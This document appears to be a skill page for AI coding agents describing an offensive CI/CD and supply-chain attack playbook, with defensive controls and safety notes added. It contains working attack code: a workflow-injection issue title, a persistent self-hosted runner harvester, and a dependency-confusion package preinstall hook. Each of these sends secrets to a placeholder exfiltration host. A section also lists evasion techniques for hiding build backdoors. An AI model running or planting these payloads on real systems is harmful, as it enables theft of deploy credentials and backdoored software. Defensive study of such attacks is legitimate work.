Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
guides/ci-cd-supply-chain-attack-playbook.md — End-to-end playbook walking from CI/CD recon (workflow YAML enumeration, runner discovery, secret-scope mapping) through initial access (workflow injection, runner takeover, dependency confusion), lateral movement (runner → cloud creds → prod), exfiltration (cache, artifact, OIDC token), persistence (rogue runner, malicious action, build-time backdoor), detection engineering (SIEM rules, anomalous egress, attestation verification), and lab-setup guidance — with deep dives on SolarWinds SUNBURST, Codecov, 3CX, and xz-utils
Summary
CI/CD & Supply Chain Attack skill domain covering the build-and-deliver layer that ships code from developer laptops to production. This is where the modern breach lives: SolarWinds, Codecov, 3CX, xz-utils, CircleCI, tj-actions/changed-files all walked through the build system, not the application.
CI/CD and supply chain attack covers the full kill chain from build-system recon to production backdoor: enumerating CI/CD platforms and their workflows, discovering self-hosted runners and their IAM scope, abusing pipeline trigger semantics (the pull_request_target trap is the single highest-leverage bug in this domain), injecting code via attacker-controlled inputs that flow into workflow execution (issue titles, PR bodies, branch names, semver tags, commit SHAs), exploiting the build runner itself (Jenkins script console, GitLab runner takeover, GitHub Actions self-hosted runner escape), abusing the dependency resolution layer (dependency confusion, typosquatting, brandjacking, install-script malice), and finally tampering with build artifacts (signing key theft, registry push after builds, OIDC token theft to assume deploy roles).
This is not the same skill as supply-chain-security. That skill covers defensive scanning of dependencies in a project you own (Trivy, Dependabot, npm audit). This skill covers offensive compromise of the build system itself — the Jenkins master, the GitLab runner, the GitHub Actions workflow, the Argo CD control plane, the npm/PyPI registry entry. The defender owns the dependencies; the attacker owns the build. They are complementary: supply-chain-security tells you whether you're using a vulnerable lodash; ci-cd-supply-chain-attack tells you how an adversary would slip a backdoored lodash into your lockfile via a typosquatted install-time script.
Difference from secret-management-attack: secret-management-attack is broad — find credentials anywhere they leak. CI/CD supply chain attack is specific — the build system is both a target (it holds deploy secrets) and a vector (it produces artifacts that ship to production). The CI/CD secret-theft overlap is acknowledged; this skill goes further into the build compromise surface that secret-management-attack doesn't cover.
Difference from container-security: container-security covers runtime container protection (escape from a container to its host). CI/CD supply chain attack covers the build-time compromise of the image — adding a backdoor at the Dockerfile layer, abusing a multi-stage build to inject a sidecar, tampering with the registry push.
Difference from cloud-native-vuln-research: cloud-native-vuln-research covers CVE research on K8s/etcd/containerd. CI/CD supply chain attack covers the pipelines that deploy those components — compromising Argo CD, Flux CD, Tekton to push malicious manifests.
Difference from ad-cs-abuse: AD CS abuse is about PKI hierarchy in Active Directory. CI/CD supply chain attack treats signing keys (Sigstore/cosign, in-toto) as both a target (steal the signing key to sign a malicious artifact) and a defense (verify provenance to reject unsigned builds).
Use Cases
CI/CD platform recon: From a target's public GitHub/GitLab surface, enumerate all workflow files, identify self-hosted runners (label-based), map secrets.* usage, find pull_request_target workflows with checkout of attacker-controlled refs, locate repository_dispatch and workflow_dispatch entry points with attacker-controllable inputs.
Jenkins exploitation: From an exposed Jenkins master, abuse the script console (/script) for RCE, exploit CVE-2024-23897 (args4j argument expansion → arbitrary file read), inject Groovy via Jenkinsfile sh steps, abuse shared libraries (@Library('name')) to land attacker code in every build.
GitLab CI/CD exploitation: From a compromised project, abuse .gitlab-ci.yml injection (the YAML is attacker-controllable from feature branches), take over self-hosted runners via registration token leak (CVE-2022-1162), exploit OmniAuth providers (CVE-2024-9653), and pivot from a tagged runner into its cloud IAM role.
GitHub Actions exploitation: Demonstrate the pull_request_target trap (forked PR code runs with the secret context), workflow injection via ${{ github.event.issue.title }} flowing into run: blocks, self-hosted runner persistence (rogue process survives job cleanup), secrets exfiltration via cache (write to actions/cache@v3 path, retrieve via second workflow), OIDC token theft to assume the deploy AWS role.
CircleCI exploitation: Steal a context (org-wide env vars) via a compromised project, abuse OIDC federation to mint AWS/GCP tokens outside intended scope, exfiltrate via artifact upload.
Argo CD / Flux CD exploitation: Exploit CVE-2022-24348 (Argo CD app proj/cluster resource leak), abuse default application credentials (the well-known password: password admin), compromise a GitRepository CRD to push malicious manifests, pivot from Argo to in-cluster service-account tokens.
Dependency confusion: Stand up the attack against a target using a private registry with public-registry fallback — register the target's private package name on npm/PyPI with a higher semver, wait for the next CI build to pull the malicious version, achieve RCE on the build runner.
Typosquatting & brandjacking: Identify typosquattable package names (lodahs, requst, pyton-mysql), identify brandjack opportunities (company-internal-utils published by an outsider), demonstrate install-time RCE via preinstall scripts.
Malicious package analysis: Reverse a known-malicious package (Codecov bash uploader, event-stream, ua-parser-js, ctx, coa, rc) to understand the implant pattern, IOCs, and detection signatures.
Build provenance verification: Verify a build artifact's SLSA provenance using slsa-verifier, verify a Sigstore signature using cosign verify, verify an in-toto attestation, reject unsigned artifacts via admission control (Sigstore policy-controller, Kyverno).
Workflow injection — A pull_request_target workflow checks out the attacker's PR ref and runs npm install with secrets in env. A workflow_dispatch with inputs interpolated into run: blocks gives RCE on the runner. An issue/PR title flowing into ${{ github.event.issue.title }} is shell injection.
Runner takeover — A self-hosted GitHub Actions runner with a stale registration token; a GitLab runner with a leaked registration token (CVE-2022-1162 class); a Jenkins agent with command-line args controllable (CVE-2024-23897 class). The runner is the asset: its IAM role, its kubeconfig, its secrets.
Dependency confusion / typosquat — Register a higher-version public package matching the target's private package name; next CI pull installs the malicious version. Or typosquat a popular package (lodahs for lodash) and wait for an install typo.
Phase 3: Pipeline Compromise (the Build)
Once on a runner, the build itself becomes the target. Modify a Jenkinsfile to add a step that exfiltrates the build artifact to an attacker-controlled registry. Add a post-build hook to a GitLab CI job that signs the artifact with stolen signing keys. Inject a RUN line into a Dockerfile that adds a backdoor user. The goal is that the artifact that ships to production is not the artifact the developer committed.
Phase 4: Lateral Movement
The runner's IAM role is the lateral pivot. GitHub Actions self-hosted runners frequently hold AWS deploy-role creds (long-lived or OIDC-minted). Jenkins agents frequently hold kubeconfig with cluster-admin. GitLab runners frequently hold vault tokens. Pivot-graph: runner cred → cloud secrets → prod DB → prod IAM → S3 reads → next role.
Phase 5: Persistence & Backdoor
The highest-ROI persistence is the build-time backdoor: a malicious change to the build process that survives source-code review because it never appears in the application source. Examples: a Jenkins shared library that injects a reverse shell into every build artifact; a GitHub Action that adds a step to every workflow; a dependency confusion payload that activates only in production builds. Detection is hard because the source looks clean.
Phase 6: Detection, Reporting & Attestation
Author SIEM rules for runner abuse (egress to non-build-domains in the build window, secrets read outside the build job, runner process persistence). Verify build provenance using SLSA L3 attestation. Recommend OpenSSF Scorecard + StepSecurity Harden-Runner as baseline controls. Report should map each finding to a real-world incident analog (SolarWinds, Codecov, 3CX, xz-utils).
Never check out ${{ github.event.pull_request.head.sha }} inside a pull_request_target workflow with secrets in env. If cross-fork CI is needed, use a separate workflow that does not access secrets.
StepSecurity Harden-Runner
Drop-in action that restricts runner egress to allowlisted domains, monitors filesystem changes, and alerts on anomalous process exec. Should be the first step of every workflow.
OpenSSF Scorecard ≥ 7
Run on every repo; require remediation of any score < 7. Checks branch protection, signed commits, code review, SAST, dependency update, token permissions, etc.
Token permissions lockdown
Every workflow should set permissions: contents: read at minimum. Never use permissions: write-all in a workflow that runs on PR triggers.
Self-hosted runner isolation
Self-hosted runners should be ephemeral (auto-terminate after each job), single-tenant per repo, and run in a hardened network segment. Never use self-hosted runners on a fork-PR-triggered workflow.
OIDC federation over long-lived secrets
Replace long-lived AWS/GCP/Azure deploy keys with OIDC federation (GitHub Actions OIDC, GitLab CI OIDC). The OIDC token is short-lived and scoped per-workflow.
Sigstore/cosign signing + admission control
Every artifact signed at build time; cluster admission control (Sigstore policy-controller, Kyverno) rejects unsigned artifacts.
SLSA L3 provenance
Build system generates in-toto provenance attestation; deployment verifies provenance before rollout. Stops the "build-time backdoor" class.
SBOM generation + monitoring
Every build produces a CycloneDX/SPDX SBOM; continuous monitoring against NVD/OSV-DB for new vulns in dependencies.
Dependency confusion defense
Configure package managers to fail-closed on private-name lookups (npm --registry scope mapping, pip --index-url separation, Artifactory/Nexus with virtual repos that pin private names).
Socket / Sonatype on every install
Socket.dev or Sonatype Nexus IQ intercepts every npm install / pip install and blocks known-malicious packages.
Pre-commit hooks (gitleaks + typoscan)
Block typosquatted package imports and leaked CI tokens before they reach git history.
SIEM rules for runner abuse
Alert on (a) runner egress to non-build-domains, (b) secrets read outside the build job window, (c) runner process persistence, (d) new outbound OIDC token mint.
Build-logging redaction
Mask ::add-mask:: (GitHub Actions), GitLab CI mask, Jenkins Credentials Binding — every secret that touches the log should be auto-masked.
Separation of duties on production deploys
The build system should not have direct prod-deploy rights; require a separate approval gate (GitHub Environment protection rules, Argo CD sync windows).
Practical Steps
Detailed payloads in payloads.md, complete test checklist in test-cases.md.
Attack: open an issue titled "; curl http://REPLACE_WITH_YOUR_EXFIL_HOST/$(env | base64); echo " — the title interpolates into the run: block as shell. See payloads.md §4.4.
Exercise 6: Self-Hosted Runner Persistence
Goal: plant a rogue process on a self-hosted runner that survives job cleanup and harvests secrets from subsequent jobs.
# Inside a job step (job runs as 'runner' user)
mkdir -p ~/.local/ci-cd-supply-chain-attack
cat > ~/.local/ci-cd-supply-chain-attack/harvest.sh <<'EOF'
#!/bin/bash
# Listen for env-file writes by subsequent jobs; exfil on change
while true; do
for envfile in /tmp/actions_env_* /home/runner/work/_temp/*; do
[ -f "$envfile" ] || continue
new_hash=$(sha256sum "$envfile" | cut -d' ' -f1)
old_hash=$(cat ~/.local/ci-cd-supply-chain-attack/.hashes 2>/dev/null | grep "$envfile" | cut -d' ' -f2)
[ "$new_hash" = "$old_hash" ] && continue
curl -s -X POST -d @"$envfile" http://REPLACE_WITH_YOUR_EXFIL_HOST/env
echo "$envfile $new_hash" >> ~/.local/ci-cd-supply-chain-attack/.hashes
done
sleep 5
done
EOF
chmod +x ~/.local/ci-cd-supply-chain-attack/harvest.sh
nohup ~/.local/ci-cd-supply-chain-attack/harvest.sh >/dev/null 2>&1 &
disown
Exercise 7: Dependency Confusion PoC Lab
Goal: stand up a private registry with public fallback, register a malicious public package, demonstrate that the next npm install pulls the malicious version.
# Lab setup — see payloads.md §6.1 for the full Verdaccio config
# 1. Private registry: Verdaccio on localhost:4873 with @<scope>/internal-utils
# 2. Public registry: npmjs.org — register @<scope>/internal-utils@99.99.99
# (use a sandbox scope like REPLACE_WITH_YOUR_SCOPE)
# Target .npmrc (vulnerable — has fallback to public)
cat > target/.npmrc <<EOF
@<scope>:registry=http://localhost:4873
registry=https://registry.npmjs.org
EOF
# Attacker's malicious public package (use SANDBOX scope)
mkdir -p dc-payload && cd dc-payload
cat > package.json <<EOF
{
"name": "@REPLACE_WITH_YOUR_SCOPE/internal-utils",
"version": "99.99.99",
"preinstall": "node -e \"process.stdout.write(Buffer.from(process.env).toString('base64'))\" | curl -X POST -d @- http://REPLACE_WITH_YOUR_EXFIL_HOST/env"
}
EOF
npm publish --access public
# Trigger the target's next CI build (uses npm ci / npm install)
# Result: public version 99.99.99 > private version 1.0.0 → malicious preinstall runs
Exercise 8: Malicious npm Package Analysis
Goal: reverse a known-malicious package (e.g., the event-stream 3.3.6 successor, flatmap-stream cryptominer) to extract IOCs.
# Pull a suspicious package version
npm pack ua-parser-js@0.7.29 # known-malicious version range (2021 incident)
# Inspect install scripts (the primary attack vector)
tar -tzf ua-parser-js-0.7.29.tgz | head
tar -xzf ua-parser-js-0.7.29.tgz && cd package
# Look for preinstall, postinstall, install hooks
jq '.scripts' package.json
# Run semgrep with malicious-package rules
semgrep --config p/malicious-packages .
# Submit to Socket for IOC enrichment
socket security scan .
Exercise 9: Argo CD CVE-2022-24348 Secret Leak
Goal: from a low-privilege Argo CD app, leak secrets from other apps/projects.
# CVE-2022-24348 — Argo CD < 2.1.15 / < 2.0.18 allows reading other apps'
# Helm values containing secrets by abusing the repo-server sync API.
# See payloads.md §5.2 for the full request.
# Step 1: Identify Argo CD version
curl -sk https://argocd.<org>.infra/api/version | jq .
# Step 2: From a low-priv token, request a sync on a values file that
# references another project's chart (passes through repo-server
# without project-scoped authorization).
argocd app sync REPLACE_WITH_YOUR_APP \
--values /../../other-project/secret-values.yaml
Goal: verify that a production artifact came from a trusted source via SLSA L3 provenance + Sigstore.
# Generate SBOM at build time
syft image:registry.<org>.infra/app:2024.11 -o cyclonedx-json > sbom.json
# Sign the artifact with Sigstore (keyless, OIDC-backed)
cosign sign --yes registry.<org>.infra/app:2024.11
# Generate SLSA L3 provenance (using slsa-github-generator action)
# See payloads.md §13.2 for the action workflow.
# Verify provenance at deploy time
slsa-verifier verify-artifact \
--provenance-path provenance.intoto.jsonl \
--source github.com/<org>/<repo> \
app.bin
# Verify signature
cosign verify \
--certificate-identity-regexp "https://github.com/<org>/<repo>/.github/workflows/.+" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
registry.<org>.infra/app:2024.11
Safety Notes
Authorization is non-negotiable: scanning or attempting to exploit a CI/CD system you do not own, registering typosquatted packages against a real registry, or attempting dependency-confusion against a target you have not been contracted to test are crimes in most jurisdictions (CFAA, CMA, equivalents). The Sony, Uber, and Coinbase prosecutions all included CI/CD-system access charges.
pull_request_target exploitation is detectable: GitHub's security team monitors for forked PRs that attempt to access secrets in pull_request_target workflows; secret reads are logged. Use only in authorized engagements and expect follow-up from GitHub Abuse.
CVE exploitation against production is a felony without authorization: CVE-2024-23897 (Jenkins args4j), CVE-2022-24348 (Argo CD), CVE-2022-1162 (GitLab runner) all have published PoCs; running them against an unauthorized target is a crime.
Dependency confusion against third parties is unauthorized access: the 2021 Alex Birsan research that breached Apple/Microsoft/PayPal was coordinated with those companies in advance. Repeating the technique against a target you have not contracted with is the same felony.
Self-hosted runner persistence is the highest-severity finding in this skill: it persists across jobs, captures every secret in every subsequent build, and is the closest analog to the Codecov and SUNBURST compromise patterns. Treat as CRITICAL and notify immediately.
OIDC token theft is a lateral-movement fast lane: a single stolen OIDC token from a GitHub Actions runner can mint AWS/GCP/Azure tokens for any role the workflow is allowed to assume. Treat OIDC minting events as anomalous by default.
Malicious package reverse engineering: take a snapshot of the sandbox (vm, container) before unpacking — many malicious packages have anti-analysis (VM detection, debugger traps). Run in an isolated VM with no network egress except a logged proxy.
No real secrets in examples: every token, key, URL, package name, and registry path in this skill is a placeholder (REPLACE_WITH_YOUR_*). Do not weaponize the payloads against real targets.
Detection Methods
CI/CD Pipeline Indicators
Pipeline config changes: Unauthorized .github/workflows/*.yml modifications; new Jenkinsfile rules.
Secret access anomalies: CI runner accessing secrets not used by typical pipeline.
Out-of-band network calls: CI runner making external API calls during build (data exfil).
Build artifact modifications: Hash of build output differs from source-controlled manifest.
Snyk / Dependabot: Vulnerability scanning of dependencies; alert on new CVEs.
Sigstore / Cosign: Verify container/image signatures; alert on unsigned images.
Defense Evasion Techniques
CI/CD Compromise Stealth
Modify pipeline in small increments: Push small workflow changes over time; avoid diff detection.
Use legitimate-looking steps: Add malicious step disguised as "security scan" or "lint".
Compromise shared runners: Infect self-hosted runner; persistent across many pipelines.
Use scheduled workflows: Trigger malicious workflow via cron schedule (off-hours).
Bypass required reviews: Use admin tokens; push directly to main branch.
Dependency Confusion Stealth
Use legitimate-looking package: Match legitimate package metadata (README, license, author).
Multi-stage payload: First version is benign; later version adds malicious postinstall.
Target internal package names: Discover via job postings or GitHub leaks; register public version.
Time-delayed activation: Malicious code activates only in production (detect environment).
Build Artifact Stealth
Reproducible builds evasion: Modify build to inject payload without changing hash.
Modify compiler: Use Thompson's "Reflections on Trusting Trust" attack; backdoored compiler.
Patch binary post-build: Modify binary after build; not in source control.
Backdoor libraries: Modify shared library at runtime via LD_PRELOAD; bypass source-level audit.
Source Code Stealth
Commit directly to release branch: Skip main; avoid detection by PR-based monitoring.
Use git hooks: Install malicious .git/hooks/post-commit; spread to other clones.
Compromise IDE plugins: VS Code extension abuse; survives across projects.
SBOM Evasion
Hide in transitive dependencies: Don't be direct dependency; pull in via 3+ levels of indirection.
Use build-time only deps: Don't appear in runtime SBOM (e.g., devDependencies).
Modify SBOM post-build: Tamper with generated SBOM to hide malicious package.
Hacker Laws
Trust Is a Vulnerability — CI/CD is the system that translates trust (the developer's commit) into deployment (production). Every trust boundary in that translation (the runner, the build script, the dependency resolver, the signing key) is an attack surface. The build is where the assumption "this code came from who we think it did" becomes operationally load-bearing.
Assume Breach — assume one of your dependencies is already backdoored. The xz-utils near-miss (March 2024) shows how close this comes to succeeding. Design for blast-radius containment: SBOMs, SLSA provenance, signed artifacts, admission control. The defender's job is to make the backdoor unobservable at deploy time, not invisible at install time.
The Build Is the Crown Jewel — the runner has every secret, every signing key, every deploy token. Compromise the build once and you have compromised every artifact it will ever produce. The Codecov and SolarWinds incidents both followed this pattern.
Least Privilege for Runners — a self-hosted runner that holds prod-deploy credentials is the single most valuable asset in the environment. Runners should be ephemeral, single-tenant, scoped to one repo, with the narrowest possible IAM role. A runner that needs prod-deploy should get it via short-lived OIDC, not a static kubeconfig.
Defense in Depth at Every Layer — pre-commit hooks catch typosquatted imports; CI scanning catches dependency confusion; Sigstore admission control catches unsigned artifacts; SIEM rules catch runner egress anomalies. No single layer would have stopped xz-utils; the layering might.
People Are the Weakest Link — the xz-utils backdoor was social engineering (the "Jia Tan" persona built trust over years). SolarWinds was a build-system compromise via an insider-adjacent path. Tooling alone does not defend against patient adversaries; the cultural discipline (review of long-term maintainers, suspicion of new "helpful" contributors) is the durable control.
Cross-References
skills/secret-management-attack/SKILL.md — overlaps on CI/CD secret theft; this skill goes further into build-system compromise and OIDC abuse
skills/supply-chain-security/SKILL.md — defensive counterpart covering dependency scanning (Trivy, Dependabot, npm audit); this skill is the offensive complement
skills/cloud-native-vuln-research/SKILL.md — CVE research on K8s/etcd/containerd; this skill covers the Argo CD, Flux CD, Tekton deploy pipeline that pushes them
skills/ad-cs-abuse/SKILL.md — PKI hierarchy abuse in AD; this skill treats Sigstore/cosign/in-toto as both attack target (steal signing key) and defense (provenance verification)
skills/anti-forensics/SKILL.md — relevant when considering how defenders will reconstruct a build-system breach timeline
skills/digital-forensics/SKILL.md — the defender counterpart; same artifact set (workflow logs, runner filesystem, registry metadata) is what an investigator examines
skills/pentest-reporting/SKILL.md — report assembly with the masked-secret discipline required for CI/CD compromise findings
skills/repo-scan/SKILL.md — codebase classification that informs the workflow-injection-sink surface
Learning Resources
This skill's supplementary files: payloads.md, test-cases.md
Deep-dive guides:
guides/ci-cd-supply-chain-attack-playbook.md — end-to-end workflow from CI/CD recon through initial access, pipeline compromise, lateral movement, persistence, detection, and attestation